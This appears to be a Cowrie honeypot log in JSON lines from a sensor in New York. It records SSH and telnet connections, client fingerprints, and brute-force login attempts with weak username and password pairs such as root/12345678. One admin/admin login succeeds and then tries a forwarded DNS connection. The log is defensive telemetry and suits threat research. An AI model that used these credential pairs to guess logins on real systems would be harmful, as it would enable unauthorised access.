{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:13.626677Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gay","message":"login attempt [root/gay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:14.278357Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fa","message":"login attempt [root/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:15.421653Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:16.564879Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":57010,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda8f79faf81","protocol":"telnet","message":"New connection: 139.162.207.207:57010 (10.17.0.5:23) [session: dda8f79faf81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:17.537541Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:17.735616Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50066,"dst_ip":"159.203.135.109","dst_port":23,"session":"37cded4a5e66","protocol":"telnet","message":"New connection: 209.126.87.217:50066 (159.203.135.109:23) [session: 37cded4a5e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:18.456168Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dreambox","message":"login attempt [root/dreambox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:18.877231Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.987968683242798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:18.892901Z","src_ip":"209.126.87.217","session":"e18755aa6ef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":57018,"dst_ip":"10.17.0.5","dst_port":23,"session":"cace914ed780","protocol":"telnet","message":"New connection: 139.162.207.207:57018 (10.17.0.5:23) [session: cace914ed780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:19.908722Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:20.019143Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.78302073478699,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:24.455248Z","src_ip":"139.162.207.207","session":"b8cca29eef1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25417137145996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:25.577319Z","src_ip":"209.126.87.217","session":"c914c95f7713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56004,"dst_ip":"159.203.135.109","dst_port":23,"session":"58168c13476a","protocol":"telnet","message":"New connection: 209.126.87.217:56004 (159.203.135.109:23) [session: 58168c13476a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:27.716563Z"}
{"eventid":"cowrie.session.closed","duration":120.0016176700592,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:28.043053Z","src_ip":"90.195.245.185","session":"0c004662a4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20987033843994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:28.937262Z","src_ip":"209.126.87.217","session":"155d98bc01c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46452,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff7bf4a2193","protocol":"ssh","message":"New connection: 159.203.92.129:46452 (159.203.135.109:22) [session: 1ff7bf4a2193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.201534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.206156Z","src_ip":"159.203.92.129","session":"1ff7bf4a2193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.211674Z","src_ip":"159.203.92.129","session":"1ff7bf4a2193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Tt123456","message":"login attempt [ansible/Tt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.231294Z","src_ip":"159.203.92.129","session":"1ff7bf4a2193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56006,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e7ebd9c74c1","protocol":"telnet","message":"New connection: 209.126.87.217:56006 (159.203.135.109:23) [session: 2e7ebd9c74c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.419926Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":40140,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab68191e960","protocol":"ssh","message":"New connection: 171.244.141.86:40140 (159.203.135.109:22) [session: 8ab68191e960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.765885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:29.770899Z","src_ip":"171.244.141.86","session":"8ab68191e960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:30.023740Z","src_ip":"171.244.141.86","session":"8ab68191e960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:30.237987Z","src_ip":"159.203.92.129","session":"1ff7bf4a2193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.41368532180786,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:30.667632Z","src_ip":"139.162.207.207","session":"0a4a7eaba11a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.418869972229004,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:31.019430Z","src_ip":"139.162.207.207","session":"c1775c8ec30c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ws123456.","message":"login attempt [root/Ws123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:31.063223Z","src_ip":"171.244.141.86","session":"8ab68191e960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:32.322807Z","src_ip":"171.244.141.86","session":"8ab68191e960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb03cca7ab5","protocol":"telnet","message":"New connection: 139.162.207.207:53578 (10.17.0.5:23) [session: fbb03cca7ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:34.399284Z"}
{"eventid":"cowrie.session.closed","duration":120.00167107582092,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:41.434057Z","src_ip":"90.195.245.185","session":"134e37fc468a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08685922622681,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:41.548499Z","src_ip":"139.162.207.207","session":"694958264db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52802,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a50da07774b","protocol":"ssh","message":"New connection: 80.94.92.182:52802 (10.17.0.5:22) [session: 6a50da07774b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:41.769537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:42.144447Z","src_ip":"80.94.92.182","session":"6a50da07774b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:42.147691Z","src_ip":"80.94.92.182","session":"6a50da07774b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:43.255980Z","src_ip":"80.94.92.182","session":"6a50da07774b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:44.533036Z","src_ip":"80.94.92.182","session":"6a50da07774b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59398,"dst_ip":"10.17.0.5","dst_port":22,"session":"97ff9c37e9e5","protocol":"ssh","message":"New connection: 87.251.64.176:59398 (10.17.0.5:22) [session: 97ff9c37e9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.001345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.014456Z","src_ip":"87.251.64.176","session":"97ff9c37e9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.112238Z","src_ip":"87.251.64.176","session":"97ff9c37e9e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.400869Z","src_ip":"87.251.64.176","session":"97ff9c37e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.10616374015808,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.410257Z","src_ip":"209.126.87.217","session":"8c7aa4c1a860","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.503677Z","session":"97ff9c37e9e5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.601381Z","src_ip":"87.251.64.176","session":"97ff9c37e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.61758208274841,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.651638Z","src_ip":"139.162.207.207","session":"9287559073ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.700481Z","src_ip":"87.251.64.176","session":"97ff9c37e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60566,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9c78e5322dd","protocol":"telnet","message":"New connection: 209.126.87.217:60566 (159.203.135.109:23) [session: a9c78e5322dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.729239Z"}
{"eventid":"cowrie.session.closed","duration":120.00188374519348,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:45.940613Z","src_ip":"72.27.54.238","session":"f5dfc08cfe13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":54790,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf59a58d303b","protocol":"ssh","message":"New connection: 45.43.86.48:54790 (10.17.0.5:22) [session: bf59a58d303b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:46.590222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:47.081178Z","src_ip":"45.43.86.48","session":"bf59a58d303b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:47.180288Z","src_ip":"45.43.86.48","session":"bf59a58d303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"test","message":"login attempt [master/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:50.092386Z","src_ip":"45.43.86.48","session":"bf59a58d303b","protocol":"ssh"}
